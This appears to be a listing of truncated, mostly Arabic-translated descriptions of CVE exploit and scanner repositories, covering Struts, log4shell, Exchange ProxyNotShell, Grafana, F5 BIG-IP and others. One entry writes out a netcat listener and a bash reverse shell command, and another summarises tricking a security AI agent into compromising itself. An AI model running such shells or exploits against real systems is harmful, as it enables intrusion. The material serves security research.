CVE-2006-3747

ملفات حول منشوري في Bugtraq وأول استغلال يعمل لـ CVE-2006-3747 تجاوز سعة المخزن المؤقت بواحد في modrewrite LDAP في Apache. http://www.securityfocus.com/archive/1/443870 تاريخ الإصدار العام للإثبات/الاستغلال: 2006-08-20 المؤلف: Jacobo Avariento Gimeno معرف CVE: CVE-2006-3747 معرف Bugtraq: 19204...

CVE-2018-11776

CVE-2018-11776 بيئة لـ CVE-2018-11776 / S2-057 العرض التوضيحي تشغيل الخادم $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 الاستغلال $ nc -l 10000 أو nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

scanner-for-CVE-2025-55182-vulnerability

🛡️ ماسح ثغرات GitHub لـ CVE-2025-55182 RCE في React/Next.js تم تصميم هذا السكربت بلغة Python لفحص جميع مستودعاتك العامة والخاصة على GitHub بحثًا عن التبعيات التي يُحتمل أن تكون عرضة لثغرة CVE-2025-55182 وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على إصدارات محددة من React Server...

cve-2025-2082-POV

CVE-2025-2082 – استبدال مؤشر الدالة PoV بأسلوب VCSEC يُوضّح هذا المستودع إثباتَ ثغرة PoV يحاكي خللاً حرجاً في تلف الذاكرة مستوحىً من CVE-2025-2082، اكتُشف في مكوّن VCSEC أمان وحدة التحكم في المركبة بسيارات Tesla. تسمح الثغرة للمهاجم باستبدال مؤشر دالة عبر استغلال خطأ في تحويل الأعداد الصحيحة من...

CVE-2022-22954

CVE-2022-22954 Attention Veuillez l'utiliser à vos propres risques. Ce dépôt est destiné uniquement à des fins éducatives et nous sommes strictement opposés à toute intention illégale. Nous ne serions pas responsables des activités illégales associées à ce dépôt. Soyez éthique ! Exemple python3...

log4shell-test-exploit

اختبار استغلال ثغرة CVE-2021-44228 log4shell التحضير Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git cd marshalsec m...

call_map

Call Map .. default-role:: code About Call Map est un outil pour naviguer dans les graphes d'appels en Python, avec l'intention de prendre en charge d'autres langages. Vous trouverez ci-dessous une capture d'écran après avoir exécuté callmap -m toolz, puis cliqué sur certaines fonctions...

CVE-2024-7029

أداة PoC لاستغلال CVE-2024-7029 في أجهزة AvTech 🎤 ترجمة README الإنجليزية فارسی 📸 لقطة الشاشة 💎 مقدمة تسلط CVE-2024-7029 الضوء على مشكلة أمنية خطيرة في أجهزة AVTech، حيث يمكن للمهاجمين تجاوز المصادقة وتنفيذ أوامر عشوائية عن بُعد. تشكل هذه الثغرة مخاطر كبيرة على سلامة وأمن الشبكات المتأثرة. 💀 نظرة...

adobe-flash-cve2018-15982

أدوبي فلاش CVE-2018-15982 يقوم هذا السكريبت بإنشاء حمولة swf لـ CVE-2018-15982، وهي مبنية على إثبات المفهوم من https://github.com/smgorelik/Windows-RCE-exploits. تم اكتشاف الثغرة بواسطة Chenming Xu و Ed Miles من Gigamon ATR. الثغرة هي عيب في استخدام الذاكرة بعد تحريرها use-after-free يتيح تنفيذ ك...

CVE-2026-66066-POC

PoC для CVE-2026-66066 — минимальная лаборатория на stock Rails/libvips Этот репозиторий воспроизводит цепочку атак «чтение файла → RCE» в Rails Active Storage, описанную в GHSA-xr9x-r78c-5hrm, против Rails 8.1.3 — последней затронутой версии ветки Rails 8.1. Rails 8.1.3.1 является исправленным...

CVE-2024-55555

ماسح Laravel Crypto Killer الشامل CVE-2024-55555 يقوم هذا السكربت بإجراء مسح شامل لتطبيقات Laravel المعرّضة لثغرة CVE-2024-55555، وهي ثغرة تنفيذ برمجيات عن بُعد دون مصادقة RCE في Invoice Ninja. يقوم بأتمتة عملية اكتشاف المواقع التي تستخدم قيم APPKEY ضعيفة أو معروفة، والتحقق مما إذا كانت معرّضة...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 إنشاء مختبر واختبار ثغرة CVE-2024-3116، وهي تنفيذ أوامر عن بُعد في pgadmin 8.4 pip تنزيل ملف .whl 8. تثبيت pgadmin4: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl مجلد التثبيت:...

ProxyNotShell-PoC

PoC fonctionnel pour CVE-2022-41040 et CVE-2022-41082 alias ProxyNotShell Prérequis : pip install requestsntlm2 requests Utilisation : python pocaug3.py Crédits : Script PoC ProxyShell provenant de : https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Article de...

CVE-2018-1207-better

إثبات المفهوم لاستغلال CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE شل عكسية يحتوي هذا المستودع على نص بايثون لإثبات المفهوم يوضح استغلالًا لتنفيذ تعليمات عن بعد موجود في أجهزة iDRAC7 و iDRAC8 بإصدارات البرامج الثابتة 2.52.52.52 وأقل. يسمح هذا الاستغلال للمهاجمين بتشغيل تعليمات كمستخدم جذر، مما قد يؤدي...

cve-2017-8760

مجموعة أدوات استغلال الثغرة CVE-2017-8759 - الإصدار 1.0 مجموعة أدوات استغلال الثغرة CVE-2017-8759 - الإصدار 1.0 هي أداة بايثون مفيدة تزوّد مختبرِي الاختراق وباحثي الأمن بطريقة سريعة وفعالة لاختبار ثغرة تنفيذ الأوامر عن بُعد في إطار عمل مايكروسوفت .NET. يمكنها إنشاء ملف RTF ضار وتوصيل حمولة...

WSO2RCE

WSO2RCE A CVE-2022-29464 afeta alguns produtos WSO2 como WSO2 API Manager e WSO2 Open Banking , permitindo upload arbitrário de arquivos e execução remota de código. Produtos afetados: WSO2 API Manager 2.2.0, up to 4.0.0 WSO2 Identity Server 5.2.0, up to 5.11.0 WSO2 Identity Server Analytics 5.4....

CVE-2025-67511

CVE-2025-67511 : Tromper un agent IA de sécurité pour qu'il se compromette lui-même Article du blog Hacktive Security à propos de CVE-2025-67511 Lien vers l'article de blog : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR Une...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit في Grafana عبر SQL Expressions الوصف إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد في Grafana CVE-2024-9264 يحتوي هذا المستودع على سكربت بلغة Python يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في ميزة تعبيرات SQL الخاصة بـ Grafana. من خلال استغلال ضعف تعقيم المدخلا...

CVE-2022-1388

CVE-2022-1388 - تجاوز المصادقة وتنفيذ الأوامر عن بُعد في F5 BIG-IP iControl REST يستغل هذا السكربت المكتوب بلغة بايثون ثغرة CVE-2022-1388، وهي ثغرة حرجة في F5 BIG-IP iControl REST تسمح بـتنفيذ أوامر عن بُعد دون مصادقة عبر التحكم غير السليم في الوصول ومعالجة ترويسات HTTP. ⚠️ لأغراض تعليمية وأبحاث...

CVE-2022-25226

ThinVNC 1.0b1 – تجاوز المصادقة إلى تنفيذ الأوامر عن بُعد CVE-2022-25226 المؤلف: krill-x7 المرجع: https://fluidattacks.com/advisories/sinatra نظرة عامة يحتوي ThinVNC 1.0b1 على ثغرة تجاوز المصادقة CVE-2022-25226 تسمح للمهاجمين عن بُعد بالتفاعل مع الواجهة الخلفية دون مصادقة. من خلال استغلال نقاط نها...